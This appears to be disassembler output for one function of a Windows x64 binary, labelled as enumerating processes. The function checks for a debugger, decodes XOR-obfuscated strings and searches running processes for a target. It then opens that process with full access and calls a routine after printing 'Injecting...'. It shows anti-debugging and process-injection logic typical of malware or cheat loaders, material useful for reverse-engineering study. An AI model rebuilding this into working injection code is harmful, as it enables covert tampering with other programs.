Function at 0x1400096c0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push r12
push r13
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x1400d4700]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov r13, rdx
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140009c66
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x308], rsi
mov qword [rsp + 0x300], rdi
mov qword [rsp + 0x2f8], r14
mov qword [rsp + 0x2f0], r15
call fcn.14000a2c0
movdqa xmm1, xmmword [0x1400c72e0]
mov r8b, 0x45
movd ecx, xmm1
movzx ebx, r8b
movdqu xmmword [rsp + 0x20], xmm1
movzx edi, r8b
mov byte [rsp + 0x38], 0
xor byte [rsp + 0x22], cl
movzx esi, r8b
xor byte [rsp + 0x23], cl
xor r8b, cl
xor byte [rsp + 0x24], cl
mov r9b, ntohs
xor byte [rsp + 0x25], cl
movzx r11d, r9b
xor byte [rsp + 0x26], cl
xor r9b, cl
xor byte [rsp + 0x27], cl
xor r11b, cl
xor byte [rsp + 0x28], cl
xor bl, cl
xor byte [rsp + 0x29], cl
xor dil, cl
xor byte [rsp + 0x2a], cl
xor sil, cl
xor byte [rsp + 0x2b], cl
movdqa xmm0, xmm1
xor byte [rsp + 0x2c], cl
mov dl, reloc.WS2_32.dll_ntohs
xor byte [rsp + 0x2d], cl
xor dl, cl
xor byte [rsp + 0x2e], cl
mov r10b, reloc.WS2_32.dll_send
xor byte [rsp + 0x2f], cl
xor r10b, cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x30], dl
mov dl, 1
mov byte [rsp + 0x31], r8b
xor r8d, r8d
xor al, cl
mov byte [rsp + 0x32], r9b
lea rcx, [rsp + 0x21]
mov byte [rsp + 0x21], al
mov byte [rsp + 0x33], r10b
mov byte [rsp + 0x34], r11b
mov byte [rsp + 0x35], bl
mov byte [rsp + 0x36], dil
mov byte [rsp + 0x37], sil
call fcn.140007b90
nop
mov cl, 0x5a
mov byte [rsp + 0x20], gethostname
mov dl, 0x58
mov r10b, 0x52
movzx ebx, r10b
xor cl, 0x37
xor dl, 0x37
mov byte [rsp + 0x22], cl
xor edi, edi
mov byte [rsp + 0x23], dl
mov al, 0x50
mov byte [rsp + 0x29], dil
mov r8b, 0x53
mov r9b, Ordinal_27
mov r11b, reloc.WLDAP32.dll_Ordinal_79
xor al, 0x37
xor r8b, 0x37
mov byte [rsp + 0x21], al
xor r9b, 0x37
mov byte [rsp + 0x24], r8b
xor r10b, 0x37
mov byte [rsp + 0x25], r9b
xor r11b, 0x37
mov byte [rsp + 0x26], r10b
xor bl, 0x37
mov byte [rsp + 0x27], r11b
xor edx, edx
mov byte [rsp + 0x28], bl
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140009875
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400097f0
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
nop dword [rax]
lea rax, [rbp - 0x54]
lea r8, [rsp + 0x21]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400098b3
inc rax
test ecx, ecx
jne 0x1400098a0
mov rcx, rbx
test edx, edx
je 0x1400098e1
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140009890
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400097f0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp - 0x78]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 0xffffffff
je 0x1400097f0
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
movdqa xmm1, xmmword [0x1400c7820]
mov dl, 0x7c
movd ecx, xmm1
movzx r8d, dl
movdqu xmmword [rsp + 0x20], xmm1
mov byte [rsp + 0x32], 0
mov rdi, 0xffffffffffffffff
xor byte [rsp + 0x22], cl
movdqa xmm0, xmm1
xor byte [rsp + 0x23], cl
xor dl, cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x30], dl
xor al, cl
xor r8b, cl
mov byte [rsp + 0x21], al
mov byte [rsp + 0x31], r8b
lea rax, [rsp + 0x21]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140009993
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x234
call fcn.140073c20
mov rcx, r15
mov dword [rbp - 0x80], 0x238
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, eax
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp - 0x80]
xor r14d, r14d
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x140009a33
lea rax, [rbp - 0x50]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x1400099f0
cmp rbx, rdi
lea rdx, [rbp - 0x50]
mov r8, rdi
lea rcx, [rsp + 0x21]
cmovb r8, rbx
call fcn.140074200
test eax, eax
jne 0x140009a1c
cmp rdi, rbx
jb 0x140009a1c
jbe 0x140009a2f
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1400099e1
jmp 0x140009a33
mov r14, qword [rbp - 0x68]
test rsi, rsi
je 0x140009a41
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
jne 0x140009a56
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009911
xor r8d, r8d
lea rcx, str.Injecting...
mov dl, 1
call fcn.140007b90
mov rdx, r13
lea rcx, [rbp + 0x1c0]
call fcn.140007ff0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, r12
lea rdx, [rbp + 0x1c0]
mov rcx, r15
call fcn.140007400
mov r15, qword [rsp + 0x2f0]
mov r14, qword [rsp + 0x2f8]
mov rdi, qword [rsp + 0x300]
mov rsi, qword [rsp + 0x308]
mov rbx, qword [rsp + 0x340]
test al, al
je 0x140009c07
movdqa xmm1, xmmword [0x1400c7710]
mov r8b, 0x41
movd ecx, xmm1
movdqa xmm0, xmm1
movdqa xmm2, xmmword [0x1400c7720]
mov dl, 1
movdqa xmm3, xmmword [0x1400c7620]
mov r9b, 0x2a
movdqu xmmword [rsp + 0x50], xmm2
xor byte [rsp + 0x51], cl
xor r8b, cl
xor byte [rsp + 0x52], cl
xor dl, cl
xor byte [rsp + 0x53], cl
xor r9b, cl
xor byte [rsp + 0x54], cl
mov r10b, 0x77
xor byte [rsp + 0x55], cl
xor r10b, cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movdqu xmmword [rsp + 0x60], xmm3
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movdqu xmmword [rsp + 0x40], xmm1
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
psrldq xmm0, 1
movd eax, xmm0
mov byte [rsp + 0x71], r8b
mov r8b, 1
mov byte [rsp + 0x70], dl
movzx edx, r8b
xor al, cl
mov byte [rsp + 0x72], r9b
mov byte [rsp + 0x41], al
movd eax, xmm2
mov byte [rsp + 0x73], r10b
mov byte [rsp + 0x74], 0
xor al, cl
mov byte [rsp + 0x50], al
movd eax, xmm3
xor al, cl
lea rcx, [rsp + 0x41]
mov byte [rsp + 0x60], al
call fcn.140007b90
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140009c44
mov rcx, qword [rbp + 0x1c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c3f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009c60
call fcn.140071270
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140071250
add rsp, 0x310
pop r13
pop r12
pop rbp
ret
call fcn.140078124
int3
mov ecx, 1
call fcn.14007a114
int3